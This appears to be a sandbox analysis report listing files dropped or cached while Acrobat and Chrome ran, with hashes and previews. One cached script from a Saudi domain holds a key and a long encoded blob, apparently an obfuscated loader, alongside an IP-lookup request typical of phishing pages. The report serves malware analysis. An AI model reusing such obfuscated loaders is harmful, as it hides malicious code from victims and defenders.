SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2817
Entropy (8bit):	5.131756559595426
Encrypted:	false
SSDEEP:	24:YcTfWEvkTNaFayDl1ExalzKYXh7eqGjwrEyj0Sin/Au2yC2LS8CIcypWABqp5ELM:YcLW2T1malzK35PEihCaHvpWAGuG9R
MD5:	CEC91DC87FA67FFED4C55B0CECC58082
SHA1:	8E47035E234C0387021FD92B4A4E2BEFC55BA69F
SHA-256:	F3EA537A8036F7EE8F4854B669FFD54624C22EC9843B5ED7BFC9BAD6490F7BFF
SHA-512:	5CCA4ED76073274DB468F452B9F9253CAC1037BACD2D3A1A5D9DD6152F204342BC29FA5B9B396FC62C949134AFC0EE62DA69EB3104554C67A9B48F556983AFEB
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"b01fd97aea0089c6acba0714a1b665f2","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":1122,"ts":1733244836000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"b87d2e348f48da85a95a19ae7d505006","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":1164,"ts":1733244836000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"4c294722ca042aa463736edefe600d0a","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1733244836000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"62bb3ad8175c848710e55750ec890f98","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1733244836000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"5c40a2d3c841cd50e50271fb7a52d750","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","size":1102,"ts":1733244836000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"af194ca4fd9df86e6d45f3952a1ab4b6","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1880705656648989
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUi3SvR9H9vxFGiDIAEkGVvpm3:lNVmswUUUUUUUUi3+FGSIti3
MD5:	9BD564BD54E23C845457D4364C6D6FE7
SHA1:	2385011880267FA224F2A193C14AF6B4EE072EF4
SHA-256:	CDC61CD2056D34B52B30A3A63A4D3BEEFF9D450871DED8846FA345C01DFB22FB
SHA-512:	1C7FC393D91338EB3D1C02CAF3A57E7B0B7FD51C31F87E37AA72A31091D8034C10DF1ED7918608243DAD70B49B28B975E403364749D488CF916D5A151515C073
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6042179061053723
Encrypted:	false
SSDEEP:	48:7MEKUUUUUUUUUUirvR9H9vxFGiDIAEkGVvAnqFl2GL7msS:7UUUUUUUUUUUibFGSItGnKVmsS
MD5:	832DDC00F7EFE6BC22B521CA783FD982
SHA1:	712188AC5417530BBE1ACBA68F12C36C3945DCF0
SHA-256:	C1205F68250D089682F87B04BBEEE97F75D8DE6F18BD2BBD38288B32B79FE415
SHA-512:	227390E0D1B64BCD0E02FA422A44576F42CA8CF4352FA741ECC183EA1A48689918245CF0D8DEA57867296658CBD9A47DE8B70AFEC6D6ECDB1FCD6ABD771297C6
Malicious:	false
Preview:	.... .c...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgSoduVKnaljuPqKMt208c7uAsYJ1kYyu:6a6TZ44ADESodiKnOjuPCUYnkK
MD5:	68300513919A2F3DF11F0DD9E2F216CB
SHA1:	A6B7C69516170F312C8984FAEE15CD88F719A63F
SHA-256:	6B9E75E6943831C32135B480FC2EDB97B0C6E9C06AB3E69F1F390E8EF31482B7
SHA-512:	C63096FD6AB2C5F5E522613DA5E873DF5444F45591E66CAEAD523CA861A6534AAA7865930FC968FBB5EBBED048344108302123C6A4A4EC510FA8DC98DC733414
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Temp\MSI3bc59.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5162684137903053
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K82hlAa2H:Qw946cPbiOxDlbYnuRKXhlS
MD5:	88C8F15AC235C60E8D6156E6C28902F7
SHA1:	AA72DD17D464D9E8B95198AF7C64432278D9BA45
SHA-256:	64D8274DEAF50A8D212C8F203C53E9F62EB9BF14F7E6E1C3FE9E8A0BCEBC19B0
SHA-512:	53984E95FC232349B101F3B0141E718A44CD59C43AC68BE3FB9780F8BC52DEC3C04EF3A32D04F8E62160A9D251A2A3629FA0465D6EA72BEBA775812CA515F4D8
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .0.3./.1.2./.2.0.2.4. . .1.1.:.5.3.:.5.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-12-03 11-53-47-173.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.363030578035289
Encrypted:	false
SSDEEP:	384:9OC/a2zaz3MVIOgXaKkVWMoNl+gKbvjlBKvVb/Vc5JLo49KkCXEgCLCP2yqVKFNZ:WDf
MD5:	93ED31B6975E406A098826E926262B35
SHA1:	98C30B789D72BC1587D82F246E0059CC7E18D4F3
SHA-256:	DF623685AC5324FBE40F7A04084255BDEC71C29333167997BBE7219E62842258
SHA-512:	CF8D9C9AFBA9EFC1066175C2DD1560CA4C97DB8AE05AA026DD4ACFD6A2DED7C70DA45F1496B18D7BBC285AF7940C06F18C2FCCE8496BDF371335FA28C310E679
Malicious:	false
Preview:	SessionID=e619bc4a-1ea3-4d68-b8dd-6a290226f77f.1733244827268 Timestamp=2024-12-03T11:53:47:268-0500 ThreadID=3336 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=e619bc4a-1ea3-4d68-b8dd-6a290226f77f.1733244827268 Timestamp=2024-12-03T11:53:47:270-0500 ThreadID=3336 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=e619bc4a-1ea3-4d68-b8dd-6a290226f77f.1733244827268 Timestamp=2024-12-03T11:53:47:270-0500 ThreadID=3336 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=e619bc4a-1ea3-4d68-b8dd-6a290226f77f.1733244827268 Timestamp=2024-12-03T11:53:47:270-0500 ThreadID=3336 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=e619bc4a-1ea3-4d68-b8dd-6a290226f77f.1733244827268 Timestamp=2024-12-03T11:53:47:270-0500 ThreadID=3336 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.391781515561805
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rC:qee6RKb6DvLDVqPu6dmHIF
MD5:	2DE347CDD74F08540A2144137FC04E99
SHA1:	6AF6836F6C9924C48E1C165CEA73A6D85718691E
SHA-256:	C390F55B80BA96548B095DC24FC3AC6FBCE84E69FC67F4EA81B84914B3B1949C
SHA-512:	3FD7331077C48A23858B10A0D486B298979D61991001C26238670A50DB111EDE35665B14BEC5D5C3C7F65E0655BB85B7E775A48EF829F379D643F4EFE2844308
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\1653963c-d382-461d-8470-bf831cd24700.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 42290
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/b5bdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tOWL07oYGZiYIGNPB:D5b3mlind9i4ufFXpAXkrfUs0kWLxYGJ
MD5:	922C4351D1731A83BC486EF5C76CE7B4
SHA1:	1532D6B0A38C06DDAFCC73C6AF66CDD73F9519DB
SHA-256:	9F82F0B6149791C85E056CBB17A84F5D4200AA0561481D0D4834853F148316F2
SHA-512:	FF56B372D7236A006AC9DEF5A7C0228910D4D2E677553470DBB3CE4EBF769C5794E1133C11EAEBF63C9A5AD35BA2DCE7BFE5F9344648A1F4F9534A2E243FB1D7
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\2508ccdf-7c50-4e0c-92e7-a12fccd04352.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\8bc0394c-e002-4bfb-bccf-02f21bf2b738.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\f634ed80-9de7-4664-94e6-544f7e294b7e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:6DaWL07oXGZGwYIGNPJNdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:caWLxXGZGwZGh3mlind9i4ufFXpAXkru
MD5:	7867DAFF192926A49EB7516D226D452F
SHA1:	BD0B185B12DB865CEA23060A9789C6B2D814B62E
SHA-256:	C7586BA81615BBAA63DA0D81CE18C0D087D1237500C99C35239A4D3CAEED2934
SHA-512:	B556042E82056983EA6A69AEE0DAB370641437EF6239FD04676FC26EC9472C6E5EF6194885C165E3987E8019321DCD9B4A574EA7A6253AC3C9468434AEAA0C21
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

Chrome Cache Entry: 175

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (12199)
Category:	downloaded
Size (bytes):	12374
Entropy (8bit):	5.134312736418352
Encrypted:	false
SSDEEP:	192:rLtmnWP7u5itGcw0frOHKfZacnU6IJycrk:r59q5izw0jOHK86U6IIco
MD5:	47164F89EA414746BF0551D1980B122B
SHA1:	1194AD7B32CFB1F0DCCA6AFE689B498309CB147D
SHA-256:	28FDEBAE6B2AAFE28DCDBE37732F4A67DECFBF55D89172E4FB47346EEF30EF88
SHA-512:	F5BE67EEEFF1CEAFA504B53285470F15D2F195C94EB5E009109A671D5D1EC7AF70E3B15F1372DE614D6BDCCE9ECD17E92779E150723A043BA509235F54B40429
Malicious:	false
URL:	https://yamami.com.sa/paper/karoke/script.js
Preview:	var key = "secretkey";.var encodedScript = "FwoABwgRBRFXEgEHNxMRBRE1GhYXFwsRGU1eNyouMQoaHwAXBykMEwERD0JVU01KUlhKSx5zU0VDUgkRH0UYBhEMFRcVCQccFyAOEwwYS1hZVEJYeEVUS0UaHAsQBkUdGCgWEQwPF0VJS0oQIw0MHAAIAjUYFxkKIgoQFyQXFxcMGwFbAksNFhYXWgsVHQweEhEMAEsBGAALMgIGHBFdUG9zU0VDUkpbSyIcB0UGHwQdB0UfAQoOUjAmJ0UREhYLUhIdHw1ZABERGwYASxMYHwwHExEdBAtzU0VDUgMBBQYNGgoNUgIRHyAUEgwPNBcbBjArP01KUh5+S0VZU0VDUkUXBAsKB0ULExYcS1hZBAwNFgoDRQkWEAQXGwoaRQ0YAA1NARAWGBELGgsEWlRdUG9ZU0VDUkVUSwwfU01CGgQHA0xZCG9DUkVUS0VZU0VDUkUDAgsdHBJNHgoXChEQHAtNGhcRDUVEU0ICEAoBH18bHwQNGUJPYUVZU0VDUkVUS0VZUxcGBhAGBUVeVF5pUkVUS0VZU0UeeEVUS0VZU0VDBhcNSx5zU0VDUkVUS0VZU0VDEQoaGBFZFwAAHQERDyAUEgwPUlhUChEWEU0LExYcQl5zU0VDUkVUS0VZU0VDXUpUIgNZFwAAHQERSwMYGgkQUgoGSwsWUxURHRURGUUcHgQKHklUGQAdGhcGERF+S0VZU0VDUkVUS0VZGgNDWkQQDgYWFwAHNwgVAglZDxlDUwERCAodFgEmHwQdB0sQHQYPBwERGE1eM0JKW0UPYUVZU0VDUkVUS0VZU0VDUkUDAgsdHBJNHgoXChEQHAtNGhcRDUVEU0ICEAoBH18bHwQNGUJPYUVZU0VDUkVUS0VZU0VDUkUGDhEMAQtDVUJPYUVZU0VDUkVUS0VZUxhpUkVUS0VZU0VDUkVUGQANBhcNUgERCAodFgEmHwQd

Chrome Cache Entry: 176

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (12199)
Category:	dropped
Size (bytes):	12374
Entropy (8bit):	5.134312736418352
Encrypted:	false
SSDEEP:	192:rLtmnWP7u5itGcw0frOHKfZacnU6IJycrk:r59q5izw0jOHK86U6IIco
MD5:	47164F89EA414746BF0551D1980B122B
SHA1:	1194AD7B32CFB1F0DCCA6AFE689B498309CB147D
SHA-256:	28FDEBAE6B2AAFE28DCDBE37732F4A67DECFBF55D89172E4FB47346EEF30EF88
SHA-512:	F5BE67EEEFF1CEAFA504B53285470F15D2F195C94EB5E009109A671D5D1EC7AF70E3B15F1372DE614D6BDCCE9ECD17E92779E150723A043BA509235F54B40429
Malicious:	false
Preview:	var key = "secretkey";.var encodedScript = "FwoABwgRBRFXEgEHNxMRBRE1GhYXFwsRGU1eNyouMQoaHwAXBykMEwERD0JVU01KUlhKSx5zU0VDUgkRH0UYBhEMFRcVCQccFyAOEwwYS1hZVEJYeEVUS0UaHAsQBkUdGCgWEQwPF0VJS0oQIw0MHAAIAjUYFxkKIgoQFyQXFxcMGwFbAksNFhYXWgsVHQweEhEMAEsBGAALMgIGHBFdUG9zU0VDUkpbSyIcB0UGHwQdB0UfAQoOUjAmJ0UREhYLUhIdHw1ZABERGwYASxMYHwwHExEdBAtzU0VDUgMBBQYNGgoNUgIRHyAUEgwPNBcbBjArP01KUh5+S0VZU0VDUkUXBAsKB0ULExYcS1hZBAwNFgoDRQkWEAQXGwoaRQ0YAA1NARAWGBELGgsEWlRdUG9ZU0VDUkVUSwwfU01CGgQHA0xZCG9DUkVUS0VZU0VDUkUDAgsdHBJNHgoXChEQHAtNGhcRDUVEU0ICEAoBH18bHwQNGUJPYUVZU0VDUkVUS0VZUxcGBhAGBUVeVF5pUkVUS0VZU0UeeEVUS0VZU0VDBhcNSx5zU0VDUkVUS0VZU0VDEQoaGBFZFwAAHQERDyAUEgwPUlhUChEWEU0LExYcQl5zU0VDUkVUS0VZU0VDXUpUIgNZFwAAHQERSwMYGgkQUgoGSwsWUxURHRURGUUcHgQKHklUGQAdGhcGERF+S0VZU0VDUkVUS0VZGgNDWkQQDgYWFwAHNwgVAglZDxlDUwERCAodFgEmHwQdB0sQHQYPBwERGE1eM0JKW0UPYUVZU0VDUkVUS0VZU0VDUkUDAgsdHBJNHgoXChEQHAtNGhcRDUVEU0ICEAoBH18bHwQNGUJPYUVZU0VDUkVUS0VZU0VDUkUGDhEMAQtDVUJPYUVZU0VDUkVUS0VZUxhpUkVUS0VZU0VDUkVUGQANBhcNUgERCAodFgEmHwQd

Chrome Cache Entry: 177

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	21
Entropy (8bit):	3.463280517810811
Encrypted:	false
SSDEEP:	3:YMb1gXMlY:YMeX6Y
MD5:	188A7DDAF69C860BAF90460AD507337F
SHA1:	530621CCC828AAB3930603814EF80EF1A79103AC
SHA-256:	FE0DA54F56BE632726C7892705F471CC075255DA9D2CEA63AF62699C05FB0A29
SHA-512:	C35AA31D95F3CBA835760FF8434D3B44E4607A43B068480FC9F6599BDADA6B53B362923820ADF073C898D8DDE9515F726F2B7C65662428A5D845116C87D5DC07
Malicious:	false
URL:	https://api.ipify.org/?format=json
Preview:	{"ip":"8.46.123.228"}

Chrome Cache Entry: 178

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	764
Entropy (8bit):	4.74727172577332
Encrypted:	false
SSDEEP:	12:f8JHx14yOu/hz/zHoaNOU4/c/UddFB6MrYJmV4Mr2iWxmrp2AptAv9VVZ8BHA:k5x14wxHoaNO38mV5r2Zmrp2sAv9OBHA
MD5:	2445811F5C7524A61987B25C2771BD61
SHA1:	E6298768E858E81A230D3B619569579B714F3206
SHA-256:	D42F25B406B8EF39A0957B06512662974F9CDCC489661C2F387028AC93A1C9E1
